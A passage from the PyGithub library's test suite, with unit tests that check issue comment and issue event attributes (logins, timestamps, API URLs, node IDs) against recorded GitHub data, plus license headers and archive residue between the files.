Kadkhodaei # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class IssueComment(Framework.TestCase): def setUp(self): super().setUp() self.comment = self.g.get_repo("PyGithub/PyGithub").get_issue(28).get_comment(20227753) def testAttributes(self): self.assertEqual(self.comment.author_association, "CONTRIBUTOR") self.assertEqual(self.comment.body, "Comment created by PyGithub\n") self.assertIsNone(self.comment.body_html) self.assertIsNone(self.comment.body_text) self.assertEqual(self.comment.created_at, datetime(2013, 6, 29, 10, 31, 38, tzinfo=timezone.utc)) self.assertEqual(self.comment.html_url, "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753") self.assertEqual(self.comment.id, 20227753) self.assertEqual(self.comment.issue_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28") self.assertEqual(self.comment.node_id, "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz") self.assertEqual(self.comment.body, "Comment created by PyGithub\n") self.assertEqual(self.comment.created_at, datetime(2013, 6, 29, 10, 31, 38, tzinfo=timezone.utc)) self.assertEqual(self.comment.id, 20227753) self.assertIsNone(self.comment.performed_via_github_app) self.assertEqual( self.comment.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 1, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) self.assertEqual(self.comment.updated_at, datetime(2013, 6, 29, 10, 31, 38, tzinfo=timezone.utc)) self.assertEqual(self.comment.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753") self.assertEqual(self.comment.user.login, "stuglaser") self.assertEqual(self.comment.html_url, "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753") self.assertEqual(repr(self.comment), 'IssueComment(user=NamedUser(login="stuglaser"), id=20227753)') self.assertEqual( self.comment.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 1, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) def testEdit(self): self.comment.edit("Comment edited by PyGithub") self.assertEqual(self.comment.body, "Comment edited by PyGithub") self.assertEqual( self.comment.updated_at, datetime(2012, 5, 20, 11, 53, 59, tzinfo=timezone.utc), ) def testMinimize(self): self.assertTrue(self.comment.minimize()) def testUnminimize(self): self.assertTrue(self.comment.unminimize()) def testGetReactions(self): reactions = self.comment.get_reactions() self.assertEqual(reactions[0].content, "+1") def testCreateReaction(self): reaction = self.comment.create_reaction("hooray") self.assertEqual(reaction.id, 17282654) self.assertEqual(reaction.content, "hooray") def testDeleteReaction(self): self.assertTrue(self.comment.delete_reaction(85743754)) # this should be the last test as this deletes the comment used above. def testDelete(self): self.comment.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/IssueEvent.py0000644000175100001660000016333614756101563016610 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Aaron L. Levine # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class IssueEvent(Framework.TestCase): def setUp(self): super().setUp() repo = self.g.get_repo("PyGithub/PyGithub") # From Issue #30 self.event_subscribed = repo.get_issues_event(16347479) self.event_assigned = repo.get_issues_event(16347480) self.event_referenced = repo.get_issues_event(16348656) self.event_closed = repo.get_issues_event(16351220) self.event_labeled = repo.get_issues_event(98136337) # From Issue 538 self.event_mentioned = repo.get_issues_event(1009034767) self.event_merged = repo.get_issues_event(1015402964) self.event_review_requested = repo.get_issues_event(1011101309) # From Issue 857 self.event_reopened = repo.get_issues_event(1782463023) self.event_unassigned = repo.get_issues_event(1782463379) self.event_unlabeled = repo.get_issues_event(1782463917) self.event_renamed = repo.get_issues_event(1782472556) self.event_base_ref_changed = repo.get_issues_event(1782915693) self.event_head_ref_deleted = repo.get_issues_event(1782917185) self.event_head_ref_restored = repo.get_issues_event(1782917299) self.event_milestoned = repo.get_issues_event(1783596418) self.event_demilestoned = repo.get_issues_event(1783596452) self.event_locked = repo.get_issues_event(1783596743) self.event_unlocked = repo.get_issues_event(1783596818) self.event_review_dismissed = repo.get_issues_event(1783605084) self.event_review_request_removed = repo.get_issues_event(1783779835) self.event_marked_as_duplicate = repo.get_issues_event(1783779725) self.event_unmarked_as_duplicate = repo.get_issues_event(1789228962) self.event_added_to_project = repo.get_issues_event(1791766828) self.event_moved_columns_in_project = repo.get_issues_event(1791767766) self.event_removed_from_project = repo.get_issues_event(1791768212) # From Issue 866 self.event_converted_note_to_issue = repo.get_issues_event(1791769149) def testEvent_subscribed_Attributes(self): self.assertEqual(self.event_subscribed.actor.login, "jacquev6") self.assertEqual(self.event_subscribed.commit_id, None) self.assertEqual( self.event_subscribed.created_at, datetime(2012, 5, 27, 5, 40, 15, tzinfo=timezone.utc), ) self.assertEqual(self.event_subscribed.event, "subscribed") self.assertEqual(self.event_subscribed.id, 16347479) self.assertEqual(self.event_subscribed.issue.number, 30) self.assertEqual( self.event_subscribed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347479", ) self.assertEqual(self.event_subscribed.node_id, "MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ3NDc5") self.assertEqual(self.event_subscribed.commit_url, None) self.assertEqual(self.event_subscribed.label, None) self.assertEqual(self.event_subscribed.assignee, None) self.assertEqual(self.event_subscribed.assigner, None) self.assertEqual(self.event_subscribed.author_association, None) self.assertEqual(self.event_subscribed.review_requester, None) self.assertEqual(self.event_subscribed.requested_reviewer, None) self.assertEqual(self.event_subscribed.requested_team, None) self.assertEqual(self.event_subscribed.milestone, None) self.assertEqual(self.event_subscribed.performed_via_github_app, None) self.assertEqual(self.event_subscribed.project_card, None) self.assertEqual(self.event_subscribed.rename, None) self.assertEqual(self.event_subscribed.dismissed_review, None) self.assertEqual(self.event_subscribed.lock_reason, None) self.assertEqual(repr(self.event_subscribed), "IssueEvent(id=16347479)") def testEvent_assigned_Attributes(self): self.assertEqual(self.event_assigned.actor.login, "jacquev6") self.assertEqual(self.event_assigned.commit_id, None) self.assertEqual( self.event_assigned.created_at, datetime(2012, 5, 27, 5, 40, 15, tzinfo=timezone.utc), ) self.assertEqual(self.event_assigned.event, "assigned") self.assertEqual(self.event_assigned.id, 16347480) self.assertEqual(self.event_assigned.issue.number, 30) self.assertEqual( self.event_assigned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347480", ) self.assertEqual(self.event_assigned.node_id, "MDEzOkFzc2lnbmVkRXZlbnQxNjM0NzQ4MA==") self.assertEqual(self.event_assigned.commit_url, None) self.assertEqual(self.event_assigned.label, None) self.assertEqual(self.event_assigned.assignee.login, "jacquev6") self.assertEqual(self.event_assigned.assigner.login, "ghost") self.assertEqual(self.event_assigned.author_association, None) self.assertEqual(self.event_assigned.review_requester, None) self.assertEqual(self.event_assigned.requested_reviewer, None) self.assertEqual(self.event_assigned.requested_team, None) self.assertEqual(self.event_assigned.milestone, None) self.assertEqual(self.event_assigned.performed_via_github_app, None) self.assertEqual(self.event_assigned.project_card, None) self.assertEqual(self.event_assigned.rename, None) self.assertEqual(self.event_assigned.dismissed_review, None) self.assertEqual(self.event_assigned.lock_reason, None) self.assertEqual(repr(self.event_assigned), "IssueEvent(id=16347480)") def testEvent_referenced_Attributes(self): self.assertEqual(self.event_referenced.actor.login, "jacquev6") self.assertEqual(self.event_referenced.commit_id, "ed866fc43833802ab553e5ff8581c81bb00dd433") self.assertEqual( self.event_referenced.created_at, datetime(2012, 5, 27, 7, 29, 25, tzinfo=timezone.utc), ) self.assertEqual(self.event_referenced.event, "referenced") self.assertEqual(self.event_referenced.id, 16348656) self.assertEqual(self.event_referenced.issue.number, 30) self.assertEqual( self.event_referenced.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656", ) self.assertEqual(self.event_referenced.node_id, "MDE1OlJlZmVyZW5jZWRFdmVudDE2MzQ4NjU2") self.assertEqual( self.event_referenced.commit_url, "https://api.github.com/repos/PyGithub/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433", ) self.assertEqual(self.event_referenced.label, None) self.assertEqual(self.event_referenced.assignee, None) self.assertEqual(self.event_referenced.assigner, None) self.assertEqual(self.event_referenced.author_association, None) self.assertEqual(self.event_referenced.review_requester, None) self.assertEqual(self.event_referenced.requested_reviewer, None) self.assertEqual(self.event_referenced.requested_team, None) self.assertEqual(self.event_referenced.milestone, None) self.assertEqual(self.event_referenced.performed_via_github_app, None) self.assertEqual(self.event_referenced.project_card, None) self.assertEqual(self.event_referenced.rename, None) self.assertEqual(self.event_referenced.dismissed_review, None) self.assertEqual(self.event_referenced.lock_reason, None) self.assertEqual(repr(self.event_referenced), "IssueEvent(id=16348656)") def testEvent_closed_Attributes(self): self.assertEqual(self.event_closed.actor.login, "jacquev6") self.assertEqual(self.event_closed.commit_id, None) self.assertEqual( self.event_closed.created_at, datetime(2012, 5, 27, 11, 4, 25, tzinfo=timezone.utc), ) self.assertEqual(self.event_closed.event, "closed") self.assertEqual(self.event_closed.id, 16351220) self.assertEqual(self.event_closed.issue.number, 30) self.assertEqual( self.event_closed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16351220", ) self.assertEqual(self.event_closed.node_id, "MDExOkNsb3NlZEV2ZW50MTYzNTEyMjA=") self.assertEqual(self.event_closed.commit_url, None) self.assertEqual(self.event_closed.label, None) self.assertEqual(self.event_closed.assignee, None) self.assertEqual(self.event_closed.assigner, None) self.assertEqual(self.event_closed.author_association, None) self.assertEqual(self.event_closed.review_requester, None) self.assertEqual(self.event_closed.requested_reviewer, None) self.assertEqual(self.event_closed.requested_team, None) self.assertEqual(self.event_closed.milestone, None) self.assertEqual(self.event_closed.performed_via_github_app, None) self.assertEqual(self.event_closed.project_card, None) self.assertEqual(self.event_closed.rename, None) self.assertEqual(self.event_closed.dismissed_review, None) self.assertEqual(self.event_closed.lock_reason, None) self.assertEqual(repr(self.event_closed), "IssueEvent(id=16351220)") def testEvent_labeled_Attributes(self): self.assertEqual(self.event_labeled.actor.login, "jacquev6") self.assertEqual(self.event_labeled.commit_id, None) self.assertEqual( self.event_labeled.created_at, datetime(2014, 3, 2, 18, 55, 10, tzinfo=timezone.utc), ) self.assertEqual(self.event_labeled.event, "labeled") self.assertEqual(self.event_labeled.id, 98136337) self.assertEqual(self.event_labeled.issue.number, 30) self.assertEqual( self.event_labeled.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136337", ) self.assertEqual(self.event_labeled.node_id, "MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM3") self.assertEqual(self.event_labeled.commit_url, None) self.assertEqual(self.event_labeled.label.name, "v1") self.assertEqual(self.event_labeled.assignee, None) self.assertEqual(self.event_labeled.assigner, None) self.assertEqual(self.event_labeled.author_association, None) self.assertEqual(self.event_labeled.review_requester, None) self.assertEqual(self.event_labeled.requested_reviewer, None) self.assertEqual(self.event_labeled.requested_team, None) self.assertEqual(self.event_labeled.milestone, None) self.assertEqual(self.event_labeled.performed_via_github_app, None) self.assertEqual(self.event_labeled.project_card, None) self.assertEqual(self.event_labeled.rename, None) self.assertEqual(self.event_labeled.dismissed_review, None) self.assertEqual(self.event_labeled.lock_reason, None) self.assertEqual(repr(self.event_labeled), "IssueEvent(id=98136337)") def testEvent_mentioned_Attributes(self): self.assertEqual(self.event_mentioned.actor.login, "jzelinskie") self.assertEqual(self.event_mentioned.commit_id, None) self.assertEqual( self.event_mentioned.created_at, datetime(2017, 3, 21, 17, 30, 14, tzinfo=timezone.utc), ) self.assertEqual(self.event_mentioned.event, "mentioned") self.assertEqual(self.event_mentioned.id, 1009034767) self.assertEqual(self.event_mentioned.issue.number, 538) self.assertEqual( self.event_mentioned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1009034767", ) self.assertEqual(self.event_mentioned.node_id, "MDE0Ok1lbnRpb25lZEV2ZW50MTAwOTAzNDc2Nw==") self.assertEqual(self.event_mentioned.commit_url, None) self.assertEqual(self.event_mentioned.label, None) self.assertEqual(self.event_mentioned.assignee, None) self.assertEqual(self.event_mentioned.assigner, None) self.assertEqual(self.event_mentioned.author_association, None) self.assertEqual(self.event_mentioned.review_requester, None) self.assertEqual(self.event_mentioned.requested_reviewer, None) self.assertEqual(self.event_mentioned.requested_team, None) self.assertEqual(self.event_mentioned.milestone, None) self.assertEqual(self.event_mentioned.performed_via_github_app, None) self.assertEqual(self.event_mentioned.project_card, None) self.assertEqual(self.event_mentioned.rename, None) self.assertEqual(self.event_mentioned.dismissed_review, None) self.assertEqual(self.event_mentioned.lock_reason, None) self.assertEqual(repr(self.event_mentioned), "IssueEvent(id=1009034767)") def testEvent_merged_Attributes(self): self.assertEqual(self.event_merged.actor.login, "jzelinskie") self.assertEqual(self.event_merged.commit_id, "2525515b094d7425f7018eb5b66171e21c5fbc10") self.assertEqual( self.event_merged.created_at, datetime(2017, 3, 25, 16, 52, 49, tzinfo=timezone.utc), ) self.assertEqual(self.event_merged.event, "merged") self.assertEqual(self.event_merged.id, 1015402964) self.assertEqual(self.event_merged.issue.number, 538) self.assertEqual( self.event_merged.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1015402964", ) self.assertEqual(self.event_merged.node_id, "MDExOk1lcmdlZEV2ZW50MTAxNTQwMjk2NA==") self.assertEqual( self.event_merged.commit_url, "https://api.github.com/repos/PyGithub/PyGithub/commits/2525515b094d7425f7018eb5b66171e21c5fbc10", ) self.assertEqual(self.event_merged.label, None) self.assertEqual(self.event_merged.assignee, None) self.assertEqual(self.event_merged.assigner, None) self.assertEqual(self.event_merged.author_association, None) self.assertEqual(self.event_merged.review_requester, None) self.assertEqual(self.event_merged.requested_reviewer, None) self.assertEqual(self.event_merged.requested_team, None) self.assertEqual(self.event_merged.milestone, None) self.assertEqual(self.event_merged.performed_via_github_app, None) self.assertEqual(self.event_merged.project_card, None) self.assertEqual(self.event_merged.rename, None) self.assertEqual(self.event_merged.dismissed_review, None) self.assertEqual(self.event_merged.lock_reason, None) self.assertEqual(repr(self.event_merged), "IssueEvent(id=1015402964)") def testEvent_review_requested_Attributes(self): self.assertEqual(self.event_review_requested.actor.login, "jzelinskie") self.assertEqual(self.event_review_requested.commit_id, None) self.assertEqual( self.event_review_requested.created_at, datetime(2017, 3, 22, 19, 6, 44, tzinfo=timezone.utc), ) self.assertEqual(self.event_review_requested.event, "review_requested") self.assertEqual(self.event_review_requested.id, 1011101309) self.assertEqual(self.event_review_requested.issue.number, 538) self.assertEqual( self.event_review_requested.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1011101309", ) self.assertEqual( self.event_review_requested.node_id, "MDIwOlJldmlld1JlcXVlc3RlZEV2ZW50MTAxMTEwMTMwOQ==", ) self.assertEqual(self.event_review_requested.commit_url, None) self.assertEqual(self.event_review_requested.label, None) self.assertEqual(self.event_review_requested.assignee, None) self.assertEqual(self.event_review_requested.assigner, None) self.assertEqual(self.event_review_requested.author_association, None) self.assertEqual(self.event_review_requested.review_requester.login, "jzelinskie") self.assertEqual(self.event_review_requested.requested_reviewer.login, "jzelinskie") self.assertEqual(self.event_review_requested.requested_team, None) self.assertEqual(self.event_review_requested.milestone, None) self.assertEqual(self.event_review_requested.performed_via_github_app, None) self.assertEqual(self.event_review_requested.project_card, None) self.assertEqual(self.event_review_requested.rename, None) self.assertEqual(self.event_review_requested.dismissed_review, None) self.assertEqual(self.event_review_requested.lock_reason, None) self.assertEqual(repr(self.event_review_requested), "IssueEvent(id=1011101309)") def testEvent_reopened_Attributes(self): self.assertEqual(self.event_reopened.actor.login, "sfdye") self.assertEqual(self.event_reopened.commit_id, None) self.assertEqual( self.event_reopened.created_at, datetime(2018, 8, 10, 13, 10, 9, tzinfo=timezone.utc), ) self.assertEqual(self.event_reopened.event, "reopened") self.assertEqual(self.event_reopened.id, 1782463023) self.assertEqual(self.event_reopened.issue.number, 857) self.assertEqual( self.event_reopened.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463023", ) self.assertEqual(self.event_reopened.node_id, "MDEzOlJlb3BlbmVkRXZlbnQxNzgyNDYzMDIz") self.assertEqual(self.event_reopened.commit_url, None) self.assertEqual(self.event_reopened.label, None) self.assertEqual(self.event_reopened.assignee, None) self.assertEqual(self.event_reopened.assigner, None) self.assertEqual(self.event_reopened.author_association, None) self.assertEqual(self.event_reopened.review_requester, None) self.assertEqual(self.event_reopened.requested_reviewer, None) self.assertEqual(self.event_reopened.requested_team, None) self.assertEqual(self.event_reopened.milestone, None) self.assertEqual(self.event_reopened.performed_via_github_app, None) self.assertEqual(self.event_reopened.project_card, None) self.assertEqual(self.event_reopened.rename, None) self.assertEqual(self.event_reopened.dismissed_review, None) self.assertEqual(self.event_reopened.lock_reason, None) self.assertEqual(repr(self.event_reopened), "IssueEvent(id=1782463023)") def testEvent_unassigned_Attributes(self): self.assertEqual(self.event_unassigned.actor.login, "sfdye") self.assertEqual(self.event_unassigned.commit_id, None) self.assertEqual( self.event_unassigned.created_at, datetime(2018, 8, 10, 13, 10, 21, tzinfo=timezone.utc), ) self.assertEqual(self.event_unassigned.event, "unassigned") self.assertEqual(self.event_unassigned.id, 1782463379) self.assertEqual(self.event_unassigned.issue.number, 857) self.assertEqual( self.event_unassigned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463379", ) self.assertEqual(self.event_unassigned.node_id, "MDE1OlVuYXNzaWduZWRFdmVudDE3ODI0NjMzNzk=") self.assertEqual(self.event_unassigned.commit_url, None) self.assertEqual(self.event_unassigned.label, None) self.assertEqual(self.event_unassigned.assignee.login, "sfdye") self.assertEqual(self.event_unassigned.assigner.login, "sfdye") self.assertEqual(self.event_unassigned.author_association, None) self.assertEqual(self.event_unassigned.review_requester, None) self.assertEqual(self.event_unassigned.requested_reviewer, None) self.assertEqual(self.event_unassigned.requested_team, None) self.assertEqual(self.event_unassigned.milestone, None) self.assertEqual(self.event_unassigned.performed_via_github_app, None) self.assertEqual(self.event_unassigned.project_card, None) self.assertEqual(self.event_unassigned.rename, None) self.assertEqual(self.event_unassigned.dismissed_review, None) self.assertEqual(self.event_unassigned.lock_reason, None) self.assertEqual(repr(self.event_unassigned), "IssueEvent(id=1782463379)") def testEvent_unlabeled_Attributes(self): self.assertEqual(self.event_unlabeled.actor.login, "sfdye") self.assertEqual(self.event_unlabeled.commit_id, None) self.assertEqual( self.event_unlabeled.created_at, datetime(2018, 8, 10, 13, 10, 38, tzinfo=timezone.utc), ) self.assertEqual(self.event_unlabeled.event, "unlabeled") self.assertEqual(self.event_unlabeled.id, 1782463917) self.assertEqual(self.event_unlabeled.issue.number, 857) self.assertEqual( self.event_unlabeled.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463917", ) self.assertEqual(self.event_unlabeled.node_id, "MDE0OlVubGFiZWxlZEV2ZW50MTc4MjQ2MzkxNw==") self.assertEqual(self.event_unlabeled.commit_url, None) self.assertEqual(self.event_unlabeled.label.name, "improvement") self.assertEqual(self.event_unlabeled.assignee, None) self.assertEqual(self.event_unlabeled.assigner, None) self.assertEqual(self.event_unlabeled.author_association, None) self.assertEqual(self.event_unlabeled.review_requester, None) self.assertEqual(self.event_unlabeled.requested_reviewer, None) self.assertEqual(self.event_unlabeled.requested_team, None) self.assertEqual(self.event_unlabeled.milestone, None) self.assertEqual(self.event_unlabeled.performed_via_github_app, None) self.assertEqual(self.event_unlabeled.project_card, None) self.assertEqual(self.event_unlabeled.rename, None) self.assertEqual(self.event_unlabeled.dismissed_review, None) self.assertEqual(self.event_unlabeled.lock_reason, None) self.assertEqual(repr(self.event_unlabeled), "IssueEvent(id=1782463917)") def testEvent_renamed_Attributes(self): self.assertEqual(self.event_renamed.actor.login, "sfdye") self.assertEqual(self.event_renamed.commit_id, None) self.assertEqual( self.event_renamed.created_at, datetime(2018, 8, 10, 13, 15, 18, tzinfo=timezone.utc), ) self.assertEqual(self.event_renamed.event, "renamed") self.assertEqual(self.event_renamed.id, 1782472556) self.assertEqual(self.event_renamed.issue.number, 857) self.assertEqual( self.event_renamed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782472556", ) self.assertEqual(self.event_renamed.node_id, "MDE3OlJlbmFtZWRUaXRsZUV2ZW50MTc4MjQ3MjU1Ng==") self.assertEqual(self.event_renamed.commit_url, None) self.assertEqual(self.event_renamed.label, None) self.assertEqual(self.event_renamed.assignee, None) self.assertEqual(self.event_renamed.assigner, None) self.assertEqual(self.event_renamed.author_association, None) self.assertEqual(self.event_renamed.review_requester, None) self.assertEqual(self.event_renamed.requested_reviewer, None) self.assertEqual(self.event_renamed.requested_team, None) self.assertEqual(self.event_renamed.milestone, None) self.assertEqual(self.event_renamed.performed_via_github_app, None) self.assertEqual(self.event_renamed.project_card, None) self.assertEqual( self.event_renamed.rename, { "to": "Adding new attributes to IssueEvent", "from": "Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)", }, ) self.assertEqual(self.event_renamed.dismissed_review, None) self.assertEqual(self.event_renamed.lock_reason, None) self.assertEqual(repr(self.event_renamed), "IssueEvent(id=1782472556)") def testEvent_base_ref_changed_Attributes(self): self.assertEqual(self.event_base_ref_changed.actor.login, "allevin") self.assertEqual(self.event_base_ref_changed.commit_id, None) self.assertEqual( self.event_base_ref_changed.created_at, datetime(2018, 8, 10, 16, 38, 22, tzinfo=timezone.utc), ) self.assertEqual(self.event_base_ref_changed.event, "base_ref_changed") self.assertEqual(self.event_base_ref_changed.id, 1782915693) self.assertEqual(self.event_base_ref_changed.issue.number, 857) self.assertEqual( self.event_base_ref_changed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782915693", ) self.assertEqual( self.event_base_ref_changed.node_id, "MDE5OkJhc2VSZWZDaGFuZ2VkRXZlbnQxNzgyOTE1Njkz", ) self.assertEqual(self.event_base_ref_changed.commit_url, None) self.assertEqual(self.event_base_ref_changed.label, None) self.assertEqual(self.event_base_ref_changed.assignee, None) self.assertEqual(self.event_base_ref_changed.assigner, None) self.assertEqual(self.event_base_ref_changed.author_association, None) self.assertEqual(self.event_base_ref_changed.review_requester, None) self.assertEqual(self.event_base_ref_changed.requested_reviewer, None) self.assertEqual(self.event_base_ref_changed.requested_team, None) self.assertEqual(self.event_base_ref_changed.milestone, None) self.assertEqual(self.event_base_ref_changed.performed_via_github_app, None) self.assertEqual(self.event_base_ref_changed.project_card, None) self.assertEqual(self.event_base_ref_changed.rename, None) self.assertEqual(self.event_base_ref_changed.dismissed_review, None) self.assertEqual(self.event_base_ref_changed.lock_reason, None) self.assertEqual(repr(self.event_base_ref_changed), "IssueEvent(id=1782915693)") def testEvent_head_ref_deleted_Attributes(self): self.assertEqual(self.event_head_ref_deleted.actor.login, "allevin") self.assertEqual(self.event_head_ref_deleted.commit_id, None) self.assertEqual( self.event_head_ref_deleted.created_at, datetime(2018, 8, 10, 16, 39, 20, tzinfo=timezone.utc), ) self.assertEqual(self.event_head_ref_deleted.event, "head_ref_deleted") self.assertEqual(self.event_head_ref_deleted.id, 1782917185) self.assertEqual(self.event_head_ref_deleted.issue.number, 857) self.assertEqual( self.event_head_ref_deleted.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782917185", ) self.assertEqual( self.event_head_ref_deleted.node_id, "MDE5OkhlYWRSZWZEZWxldGVkRXZlbnQxNzgyOTE3MTg1", ) self.assertEqual(self.event_head_ref_deleted.commit_url, None) self.assertEqual(self.event_head_ref_deleted.label, None) self.assertEqual(self.event_head_ref_deleted.assignee, None) self.assertEqual(self.event_head_ref_deleted.assigner, None) self.assertEqual(self.event_head_ref_deleted.author_association, None) self.assertEqual(self.event_head_ref_deleted.review_requester, None) self.assertEqual(self.event_head_ref_deleted.requested_reviewer, None) self.assertEqual(self.event_head_ref_deleted.requested_team, None) self.assertEqual(self.event_head_ref_deleted.milestone, None) self.assertEqual(self.event_head_ref_deleted.performed_via_github_app, None) self.assertEqual(self.event_head_ref_deleted.project_card, None) self.assertEqual(self.event_head_ref_deleted.rename, None) self.assertEqual(self.event_head_ref_deleted.dismissed_review, None) self.assertEqual(self.event_head_ref_deleted.lock_reason, None) self.assertEqual(repr(self.event_head_ref_deleted), "IssueEvent(id=1782917185)") def testEvent_head_ref_restored_Attributes(self): self.assertEqual(self.event_head_ref_restored.actor.login, "allevin") self.assertEqual(self.event_head_ref_restored.commit_id, None) self.assertEqual( self.event_head_ref_restored.created_at, datetime(2018, 8, 10, 16, 39, 23, tzinfo=timezone.utc), ) self.assertEqual(self.event_head_ref_restored.event, "head_ref_restored") self.assertEqual(self.event_head_ref_restored.id, 1782917299) self.assertEqual(self.event_head_ref_restored.issue.number, 857) self.assertEqual( self.event_head_ref_restored.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782917299", ) self.assertEqual( self.event_head_ref_restored.node_id, "MDIwOkhlYWRSZWZSZXN0b3JlZEV2ZW50MTc4MjkxNzI5OQ==", ) self.assertEqual(self.event_head_ref_restored.commit_url, None) self.assertEqual(self.event_head_ref_restored.label, None) self.assertEqual(self.event_head_ref_restored.assignee, None) self.assertEqual(self.event_head_ref_restored.assigner, None) self.assertEqual(self.event_head_ref_restored.author_association, None) self.assertEqual(self.event_head_ref_restored.review_requester, None) self.assertEqual(self.event_head_ref_restored.requested_reviewer, None) self.assertEqual(self.event_head_ref_restored.requested_team, None) self.assertEqual(self.event_head_ref_restored.milestone, None) self.assertEqual(self.event_head_ref_restored.performed_via_github_app, None) self.assertEqual(self.event_head_ref_restored.project_card, None) self.assertEqual(self.event_head_ref_restored.rename, None) self.assertEqual(self.event_head_ref_restored.dismissed_review, None) self.assertEqual(self.event_head_ref_restored.lock_reason, None) self.assertEqual(repr(self.event_head_ref_restored), "IssueEvent(id=1782917299)") def testEvent_milestoned_Attributes(self): self.assertEqual(self.event_milestoned.actor.login, "sfdye") self.assertEqual(self.event_milestoned.commit_id, None) self.assertEqual( self.event_milestoned.created_at, datetime(2018, 8, 11, 0, 46, 19, tzinfo=timezone.utc), ) self.assertEqual(self.event_milestoned.event, "milestoned") self.assertEqual(self.event_milestoned.id, 1783596418) self.assertEqual(self.event_milestoned.issue.number, 857) self.assertEqual( self.event_milestoned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596418", ) self.assertEqual(self.event_milestoned.node_id, "MDE1Ok1pbGVzdG9uZWRFdmVudDE3ODM1OTY0MTg=") self.assertEqual(self.event_milestoned.commit_url, None) self.assertEqual(self.event_milestoned.label, None) self.assertEqual(self.event_milestoned.assignee, None) self.assertEqual(self.event_milestoned.assigner, None) self.assertEqual(self.event_milestoned.author_association, None) self.assertEqual(self.event_milestoned.review_requester, None) self.assertEqual(self.event_milestoned.requested_reviewer, None) self.assertEqual(self.event_milestoned.requested_team, None) self.assertEqual(self.event_milestoned.milestone.title, "Version 1.25.0") self.assertEqual(self.event_milestoned.performed_via_github_app, None) self.assertEqual(self.event_milestoned.project_card, None) self.assertEqual(self.event_milestoned.rename, None) self.assertEqual(self.event_milestoned.dismissed_review, None) self.assertEqual(self.event_milestoned.lock_reason, None) self.assertEqual(repr(self.event_milestoned), "IssueEvent(id=1783596418)") def testEvent_demilestoned_Attributes(self): self.assertEqual(self.event_demilestoned.actor.login, "sfdye") self.assertEqual(self.event_demilestoned.commit_id, None) self.assertEqual( self.event_demilestoned.created_at, datetime(2018, 8, 11, 0, 46, 22, tzinfo=timezone.utc), ) self.assertEqual(self.event_demilestoned.event, "demilestoned") self.assertEqual(self.event_demilestoned.id, 1783596452) self.assertEqual(self.event_demilestoned.issue.number, 857) self.assertEqual( self.event_demilestoned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596452", ) self.assertEqual( self.event_demilestoned.node_id, "MDE3OkRlbWlsZXN0b25lZEV2ZW50MTc4MzU5NjQ1Mg==", ) self.assertEqual(self.event_demilestoned.commit_url, None) self.assertEqual(self.event_demilestoned.label, None) 